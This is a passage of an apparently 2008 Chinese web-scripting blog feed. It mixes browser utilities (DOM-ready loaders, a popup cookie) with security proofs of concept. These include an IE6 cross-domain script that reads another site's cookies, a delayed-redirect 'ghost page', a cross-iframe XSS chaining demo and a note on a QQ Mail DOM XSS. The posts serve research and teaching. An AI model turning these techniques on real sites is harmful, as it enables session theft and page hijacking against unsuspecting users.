style="overflow-y:auto;overflow-x:hidden;height:150px;">&lt;body&gt;<br>&lt;script&nbsp;language=&quot;JavaScript&quot;&nbsp;type=&quot;text/javascript&quot;&gt;<br>var&nbsp;i=0;<br>time_id&nbsp;=&nbsp;setInterval(&quot;shows()&quot;,&nbsp;1000);<br>function&nbsp;shows(){<br>&nbsp;&nbsp;&nbsp;&nbsp;window.status&nbsp;=&nbsp;&quot;http://img2.cache.netease.com/cnews/2008/9/24/200809241738&quot;+Math.round(10)+&quot;.jpg...&quot;;<br>&nbsp;&nbsp;&nbsp;&nbsp;i++;<br>&nbsp;&nbsp;&nbsp;&nbsp;if(i==1){<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;var&nbsp;pass=&nbsp;&#39;&lt;iframe&nbsp;src=&quot;http://www.qq.com&quot;&gt;&lt;/iframe&gt;&#39;;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;var&nbsp;o=document.createElement(&#39;div&#39;);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;o.innerHTML=pass;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;document.getElementsByTagName(&quot;body&quot;)[0].appendChild(o);<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(i==10){clearInterval(time_id);window.status&nbsp;=&nbsp;&quot;&quot;;}<br>}<br>&lt;/script&gt;<br>&lt;iframe&nbsp;src=&quot;http://www.163.com&quot;&gt;&lt;/iframe&gt;<br><br>&lt;/body&gt;</div><br><br><br><script type="text/javascript">window.attachEvent("onload",function (){AutoSizeDIV('CODE_8515')})</script><table width="100%" border="0" align="center" cellpadding="0" cellspacing="0" class="code_head"><tr><td>程序代码：</td><td align="right"><a href="javascript:CopyText(document.all.CODE_8515);">[ 复制代码到剪贴板 ]</a> <a href="javascript:runEx('CODE_8515');">[ 运行代码 ]</a></td></tr></table><div class="code_main" id="CODE_8515" style="overflow-y:auto;overflow-x:hidden;height:150px;">&lt;?php<br>$check_time&nbsp;=&nbsp;mktime(0,&nbsp;0,&nbsp;0,&nbsp;date(&quot;m&quot;),&nbsp;date(&quot;d&quot;)+1,&nbsp;date(&quot;Y&quot;));<br>if&nbsp;(!$_COOKIE[pop_ad]){<br>&nbsp;&nbsp;&nbsp;&nbsp;setcookie(&quot;pop_ad&quot;,&nbsp;&quot;true&quot;&nbsp;,$check_time,&quot;/&quot;);<br>&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;&quot;hello&quot;;<br>}<br>?&gt;</div><br><br> <img src="images/smilies/em55.gif" border="0" align="absmiddle" />你应该知道什么时候用到吧。。]]></content:encoded><link>http://www.delover.net/blogview.asp?logID=103</link><dc:subject>Script</dc:subject><dc:creator>jackal</dc:creator><dc:date>2008-9-24 16:42:05</dc:date></item><item rdf:about="http://www.delover.net/blogview.asp?logID=102"><title><![CDATA[小看QQ邮箱的跨站了]]></title><description><![CDATA[刚开始以为是没过滤文件名。<br>看了代码才知道是典型的Dom&nbsp;Xss。<br>Qmail的页面写的很有意思。很多先隐藏，有了数据再输出。<br><br>文本部分处理的很严格，比网易邮箱好很多。]]></description><content:encoded><![CDATA[刚开始以为是没过滤文件名。<br>看了代码才知道是典型的Dom&nbsp;Xss。<br>Qmail的页面写的很有意思。很多先隐藏，有了数据再输出。<br><br>文本部分处理的很严格，比网易邮箱好很多。<br>]]></content:encoded><link>http://www.delover.net/blogview.asp?logID=102</link><dc:subject>Script</dc:subject><dc:creator>jackal</dc:creator><dc:date>2008-9-13 18:07:24</dc:date></item><item rdf:about="http://www.delover.net/blogview.asp?logID=101"><title><![CDATA[鬼页]]></title><description><![CDATA[[code]<br><br>&lt;body&gt;<br>&lt;script&nbsp;language=&quot;JavaScript&quot;&nbsp;type=&quot;text/javascript&quot;&gt;<br>var&nbsp;frame=document.createElement(&#39;&#39;div&#39;&#39;);]]></description><content:encoded><![CDATA[<script type="text/javascript">window.attachEvent("onload",function (){AutoSizeDIV('CODE_7671')})</script><table width="100%" border="0" align="center" cellpadding="0" cellspacing="0" class="code_head"><tr><td>程序代码：</td><td align="right"><a href="javascript:CopyText(document.all.CODE_7671);">[ 复制代码到剪贴板 ]</a> <a href="javascript:runEx('CODE_7671');">[ 运行代码 ]</a></td></tr></table><div class="code_main" id="CODE_7671" style="overflow-y:auto;overflow-x:hidden;height:150px;">&lt;body&gt;<br>&lt;script&nbsp;language=&quot;JavaScript&quot;&nbsp;type=&quot;text/javascript&quot;&gt;<br>var&nbsp;frame=document.createElement(&#39;div&#39;);<br>frame.innerHTML=&#39;&lt;iframe&nbsp;id=&quot;xxx&quot;&nbsp;style=&quot;width:100%;height:100%&quot;&nbsp;src=&quot;http://www.baidu.com&quot;&nbsp;name=&quot;xxx&quot;&nbsp;frameborder=&quot;no&quot;&nbsp;border=&quot;0&quot;&nbsp;marginwidth=&quot;0&quot;&nbsp;marginheight=&quot;0&quot;&nbsp;scrolling=&quot;no&quot;&gt;&lt;/iframe&gt;&#39;;<br>frame.style.margin&nbsp;=&nbsp;&quot;0&quot;;<br>frame.style.width&nbsp;=&nbsp;&quot;100%&quot;;<br>frame.style.height&nbsp;=&nbsp;&quot;800px&quot;;<br>document.body.appendChild(frame);&nbsp;<br>x=window.open(&#39;about:blank&#39;,&#39;xxx&#39;);<br>&nbsp;&nbsp;&nbsp;&nbsp;x.location=&quot;http://www.baidu.com&quot;<br>&nbsp;&nbsp;&nbsp;&nbsp;setTimeout(function(){<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;x.location=&quot;http://www.delover.net&quot;<br>&nbsp;&nbsp;&nbsp;&nbsp;},3000)<br>&lt;/script&gt;<br>&lt;/body&gt;<br><br></div><br><br><script type="text/javascript">window.attachEvent("onload",function (){AutoSizeDIV('CODE_2362')})</script><table width="100%" border="0" align="center" cellpadding="0" cellspacing="0" class="code_head"><tr><td>程序代码：</td><td align="right"><a href="javascript:CopyText(document.all.CODE_2362);">[ 复制代码到剪贴板 ]</a> <a href="javascript:runEx('CODE_2362');">[ 运行代码 ]</a></td></tr></table><div class="code_main" id="CODE_2362" style="overflow-y:auto;overflow-x:hidden;height:150px;">&nbsp;&nbsp;&lt;a&nbsp;href=&quot;#&quot;&gt;IE6&nbsp;Cross&nbsp;Domain&nbsp;Scripting&lt;/a&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;script&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;function&nbsp;win(){<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;x=window.open(&#39;http://www.baidu.com&#39;);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;setTimeout(function(){<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;x.location=new&nbsp;String(&quot;javascript:alert(document.cookie)&quot;)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;},3000)<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;window.onload=function(){<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;(i=0;i&lt;document.links.length;i++)&nbsp;{&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;document.links[i].href=&quot;javascript:win()&quot;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;/script&gt;</div>]]></content:encoded><link>http://www.delover.net/blogview.asp?logID=101</link><dc:subject>Script</dc:subject><dc:creator>jackal</dc:creator><dc:date>2008-9-11 18:20:23</dc:date></item><item rdf:about="http://www.delover.net/blogview.asp?logID=100"><title><![CDATA[XSS跨域]]></title><description><![CDATA[A站如果包含我们可以控制的B站。<br><br>比如某些SNS开放Iframe接口。<br><br>在A上找到一个非持久性的xss，可以就可以来攻击了。]]></description><content:encoded><![CDATA[A站如果包含我们可以控制的B站。<br><br>比如某些SNS开放Iframe接口。<br><br>在A上找到一个非持久性的xss，可以就可以来攻击了。<br><br><font color="Blue">demo.htm</font>&nbsp;有弱点的&nbsp;iframe<br><font color="Blue">xss.htm</font>&nbsp;&nbsp;非持久的xss<br>以上为A网站的页面。<br><br><font color="Blue">proxy.htm</font>&nbsp;我们可以控制的B网站页面。<br><br>因为xss.htm和demo.htm是同域，可以调用xss.htm对demo.htm进行修改。<br><br>proxy.htm作为中转，直接修改demo.htm会提示没有权限。<br><br><strong><font color="Red">demo.htm</font></strong><br><br><script type="text/javascript">window.attachEvent("onload",function (){AutoSizeDIV('CODE_5311')})</script><table width="100%" border="0" align="center" cellpadding="0" cellspacing="0" class="code_head"><tr><td>程序代码：</td><td align="right"><a href="javascript:CopyText(document.all.CODE_5311);">[ 复制代码到剪贴板 ]</a> <a href="javascript:runEx('CODE_5311');">[ 运行代码 ]</a></td></tr></table><div class="code_main" id="CODE_5311" style="overflow-y:auto;overflow-x:hidden;height:150px;">&lt;script&nbsp;language=&quot;JavaScript&quot;&nbsp;type=&quot;text/javascript&quot;&gt;<br>&nbsp;function&nbsp;demo(code){<br>&nbsp;&nbsp;&nbsp;&nbsp;alert(&quot;Top&nbsp;xss@&quot;+code);<br>&nbsp;}<br>&lt;/script&gt;<br>&lt;iframe&nbsp;src=&quot;<font color="Blue">http://delover.net/proxy.htm</font>&quot;&nbsp;&nbsp;style=&quot;width:500px;height:500px;&quot;&gt;&lt;/iframe&gt;<br></div><br><br><strong><font color="Red">xss.htm</font></strong><br>这里只是作为演示。<br><script type="text/javascript">window.attachEvent("onload",function (){AutoSizeDIV('CODE_8900')})</script><table width="100%" border="0" align="center" cellpadding="0" cellspacing="0" class="code_head"><tr><td>程序代码：</td><td align="right"><a href="javascript:CopyText(document.all.CODE_8900);">[ 复制代码到剪贴板 ]</a> <a href="javascript:runEx('CODE_8900');">[ 运行代码 ]</a></td></tr></table><div class="code_main" id="CODE_8900" style="overflow-y:auto;overflow-x:hidden;height:150px;">xss.htm<br>&lt;script&nbsp;type=&quot;text/javascript&quot;&gt;<br>&lt;!--<br>window.parent.parent.demo(&quot;xss.htm&quot;);<br>var&nbsp;bgdiv&nbsp;=&nbsp;window.parent.parent.document.createElement(&quot;div&quot;);<br>bgdiv.style.width&nbsp;=&nbsp;500;<br>bgdiv.style.height=&nbsp;300;<br>bgdiv.style.position=&quot;absolute&quot;;<br>bgdiv.style.top=&quot;0&quot;;<br>bgdiv.style.left=&quot;0&quot;;<br>bgdiv.style.background=&quot;#4096EE&quot;;<br>bgdiv.style.filter=&quot;progid:DXImageTransform.Microsoft.Alpha(style=3,opacity=50,finishOpacity=60&quot;;<br>bgdiv.style.zIndex&nbsp;=&nbsp;&quot;10000&quot;;<br>bgdiv.innerHTML=&#39;&lt;h1&nbsp;style=&quot;margin:100px;&quot;&gt;XSS&nbsp;TEST&lt;/h1&gt;&#39;;<br>window.parent.parent.document.body.appendChild(bgdiv);<br>//--&gt;<br>&lt;/script&gt;</div><br><br>B网站上的：<strong><font color="Red">proxy.htm</font></strong><br><br><script type="text/javascript">window.attachEvent("onload",function (){AutoSizeDIV('CODE_8323')})</script><table width="100%" border="0" align="center" cellpadding="0" cellspacing="0" class="code_head"><tr><td>程序代码：</td><td align="right"><a href="javascript:CopyText(document.all.CODE_8323);">[ 复制代码到剪贴板 ]</a> <a href="javascript:runEx('CODE_8323');">[ 运行代码 ]</a></td></tr></table><div class="code_main" id="CODE_8323" style="overflow-y:auto;overflow-x:hidden;height:150px;">&lt;body&gt;<br>proxy.htm<br>&lt;script&nbsp;language=&quot;JavaScript&quot;&nbsp;type=&quot;text/javascript&quot;&gt;<br>//Run&nbsp;Error<br>//window.parent.demo(&quot;proxy.htm&quot;);<br>&lt;/script&gt;<br>&lt;iframe&nbsp;src=&quot;<font color="Blue">http://A.com/xss.htm</font>&quot;&nbsp;style=&quot;width:300px;height:300px;&quot;&gt;&lt;/iframe&gt;<br>&lt;/body&gt;</div><br><br>文章资料来源：<br>Cross&nbsp;Iframe&nbsp;Trick<br><a target="_blank" href="http://hi.baidu.com/aullik5/blog/item/07d68eb015d72652092302b1.html">http://hi.baidu.com/aullik5/blog/item/07d68eb015d72652092302b1.html</a>]]></content:encoded><link>http://www.delover.net/blogview.asp?logID=100</link><dc:subject>Script</dc:subject><dc:creator>jackal</dc:creator><dc:date>2008-9-11 13:35:06</dc:date></item><item rdf:about="http://www.delover.net/blogview.asp?logID=99"><title><![CDATA[Dom Ready]]></title><description><![CDATA[全能型:<br>[code]/*&nbsp;<br>*&nbsp;(c)2006&nbsp;Dean&nbsp;Edwards/Matthias&nbsp;Miller/John&nbsp;Resig&nbsp;<br>*&nbsp;Special&nbsp;thanks&nbsp;to&nbsp;Dan&nbsp;Webb&#39;&#39;s&nbsp;domready.js&nbsp;Prototype&nbsp;extension&nbsp;<br>*&nbsp;and&nbsp;Simon&nbsp;Willison&#39;&#39;s&nbsp;addLoadEvent&nbsp;]]></description><content:encoded><![CDATA[全能型:<br><script type="text/javascript">window.attachEvent("onload",function (){AutoSizeDIV('CODE_4987')})</script><table width="100%" border="0" align="center" cellpadding="0" cellspacing="0" class="code_head"><tr><td>程序代码：</td><td align="right"><a href="javascript:CopyText(document.all.CODE_4987);">[ 复制代码到剪贴板 ]</a> <a href="javascript:runEx('CODE_4987');">[ 运行代码 ]</a></td></tr></table><div class="code_main" id="CODE_4987" style="overflow-y:auto;overflow-x:hidden;height:150px;">/*&nbsp;<br>*&nbsp;(c)2006&nbsp;Dean&nbsp;Edwards/Matthias&nbsp;Miller/John&nbsp;Resig&nbsp;<br>*&nbsp;Special&nbsp;thanks&nbsp;to&nbsp;Dan&nbsp;Webb&#39;s&nbsp;domready.js&nbsp;Prototype&nbsp;extension&nbsp;<br>*&nbsp;and&nbsp;Simon&nbsp;Willison&#39;s&nbsp;addLoadEvent&nbsp;<br>*&nbsp;<br>*&nbsp;For&nbsp;more&nbsp;info,&nbsp;see:&nbsp;<br>*&nbsp;http://dean.edwards.name/weblog/2006/06/again/&nbsp;<br>*&nbsp;http://www.vivabit.com/bollocks/2006/06/21/a-dom-ready-extension-for-prototype&nbsp;<br>*&nbsp;http://simon.incutio.com/archive/2004/05/26/addLoadEvent&nbsp;<br>*&nbsp;<br>*&nbsp;Thrown&nbsp;together&nbsp;by&nbsp;Jesse&nbsp;Skinner&nbsp;(http://www.thefutureoftheweb.com/)&nbsp;<br>*&nbsp;<br>*&nbsp;<br>*&nbsp;To&nbsp;use:&nbsp;call&nbsp;addDOMLoadEvent&nbsp;one&nbsp;or&nbsp;more&nbsp;times&nbsp;with&nbsp;functions,&nbsp;ie:&nbsp;<br>*&nbsp;<br>*&nbsp;&nbsp;&nbsp;&nbsp;function&nbsp;something()&nbsp;{&nbsp;<br>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;do&nbsp;something&nbsp;<br>*&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;<br>*&nbsp;&nbsp;&nbsp;&nbsp;addDOMLoadEvent(something);&nbsp;<br>*&nbsp;<br>*&nbsp;&nbsp;&nbsp;&nbsp;addDOMLoadEvent(function()&nbsp;{&nbsp;<br>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;do&nbsp;other&nbsp;stuff&nbsp;<br>*&nbsp;&nbsp;&nbsp;&nbsp;});&nbsp;<br>*&nbsp;<br>*/&nbsp;<br>&nbsp;&nbsp;<br>function&nbsp;addDOMLoadEvent(func)&nbsp;{&nbsp;<br>&nbsp;&nbsp;&nbsp;if&nbsp;(!window.__load_events)&nbsp;{&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;var&nbsp;init&nbsp;=&nbsp;function&nbsp;()&nbsp;{&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;quit&nbsp;if&nbsp;this&nbsp;function&nbsp;has&nbsp;already&nbsp;been&nbsp;called&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(arguments.callee.done)&nbsp;return;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;flag&nbsp;this&nbsp;function&nbsp;so&nbsp;we&nbsp;don&#39;t&nbsp;do&nbsp;the&nbsp;same&nbsp;thing&nbsp;twice&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;arguments.callee.done&nbsp;=&nbsp;true;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;kill&nbsp;the&nbsp;timer&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(window.__load_timer)&nbsp;{&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;clearInterval(window.__load_timer);&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;window.__load_timer&nbsp;=&nbsp;null;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;execute&nbsp;each&nbsp;function&nbsp;in&nbsp;the&nbsp;stack&nbsp;in&nbsp;the&nbsp;order&nbsp;they&nbsp;were&nbsp;added&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;(var&nbsp;i=0;i&nbsp;&lt;&nbsp;window.__load_events.length;i++)&nbsp;{&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;window.__load_events[i]();&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;window.__load_events&nbsp;=&nbsp;null;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;};&nbsp;<br>&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;for&nbsp;Mozilla/Opera9&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(document.addEventListener)&nbsp;{&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;document.addEventListener(&quot;DOMContentLoaded&quot;,&nbsp;init,&nbsp;false);&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;for&nbsp;Internet&nbsp;Explorer&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/*@cc_on&nbsp;@*/&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/*@if&nbsp;(@_win32)&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;document.write(&quot;&lt;scr&quot;+&quot;ipt&nbsp;id=__ie_onload&nbsp;defer&nbsp;src=//0&gt;&lt;\/scr&quot;+&quot;ipt&gt;&quot;);&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;var&nbsp;script&nbsp;=&nbsp;document.getElementById(&quot;__ie_onload&quot;);&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;script.onreadystatechange&nbsp;=&nbsp;function()&nbsp;{&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(this.readyState&nbsp;==&nbsp;&quot;complete&quot;)&nbsp;{&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;init();&nbsp;//&nbsp;call&nbsp;the&nbsp;onload&nbsp;handler&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;};&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/*@end&nbsp;@*/&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;for&nbsp;Safari&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(/WebKit/i.test(navigator.userAgent))&nbsp;{&nbsp;//&nbsp;sniff&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;window.__load_timer&nbsp;=&nbsp;setInterval(function()&nbsp;{&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(/loaded|complete/.test(document.readyState))&nbsp;{&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;init();&nbsp;//&nbsp;call&nbsp;the&nbsp;onload&nbsp;handler&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;},&nbsp;10);&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;for&nbsp;other&nbsp;browsers&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;window.onload&nbsp;=&nbsp;init;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;create&nbsp;event&nbsp;function&nbsp;stack&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;window.__load_events&nbsp;=&nbsp;[];&nbsp;<br>&nbsp;&nbsp;&nbsp;}&nbsp;<br>&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;//&nbsp;add&nbsp;function&nbsp;to&nbsp;event&nbsp;stack&nbsp;<br>&nbsp;&nbsp;&nbsp;window.__load_events.push(func);&nbsp;<br>}</div><br><br>再一款：<br><script type="text/javascript">window.attachEvent("onload",function (){AutoSizeDIV('CODE_9694')})</script><table width="100%" border="0" align="center" cellpadding="0" cellspacing="0" class="code_head"><tr><td>程序代码：</td><td align="right"><a href="javascript:CopyText(document.all.CODE_9694);">[ 复制代码到剪贴板 ]</a> <a href="javascript:runEx('CODE_9694');">[ 运行代码 ]</a></td></tr></table><div class="code_main" id="CODE_9694" style="overflow-y:auto;overflow-x:hidden;height:150px;">/*<br>*&nbsp;&nbsp;&nbsp;&nbsp;function&nbsp;something()&nbsp;{&nbsp;<br>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;do&nbsp;something&nbsp;<br>*&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;<br>*&nbsp;&nbsp;&nbsp;&nbsp;DomLoaded.load(something);&nbsp;<br>*&nbsp;<br>*&nbsp;&nbsp;&nbsp;&nbsp;DomLoaded.load(function()&nbsp;{&nbsp;<br>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;do&nbsp;other&nbsp;stuff&nbsp;<br>*&nbsp;&nbsp;&nbsp;&nbsp;});&nbsp;<br>*&nbsp;<br>*/&nbsp;<br>var&nbsp;DomLoaded&nbsp;=<br>{<br>&nbsp;&nbsp;&nbsp;&nbsp;onload:&nbsp;[],<br>&nbsp;&nbsp;&nbsp;&nbsp;loaded:&nbsp;function()<br>&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(arguments.callee.done)&nbsp;return;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;arguments.callee.done&nbsp;=&nbsp;true;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;(i&nbsp;=&nbsp;0;i&nbsp;&lt;&nbsp;DomLoaded.onload.length;i++)&nbsp;DomLoaded.onload[i]();<br>&nbsp;&nbsp;&nbsp;&nbsp;},<br>&nbsp;&nbsp;&nbsp;&nbsp;load:&nbsp;function(fireThis)<br>&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;this.onload.push(fireThis);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(document.addEventListener)&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;document.addEventListener(&quot;DOMContentLoaded&quot;,&nbsp;DomLoaded.loaded,&nbsp;null);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(/KHTML|WebKit/i.test(navigator.userAgent))<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;var&nbsp;_timer&nbsp;=&nbsp;setInterval(function()<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(/loaded|complete/.test(document.readyState))<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;clearInterval(_timer);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;delete&nbsp;_timer;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb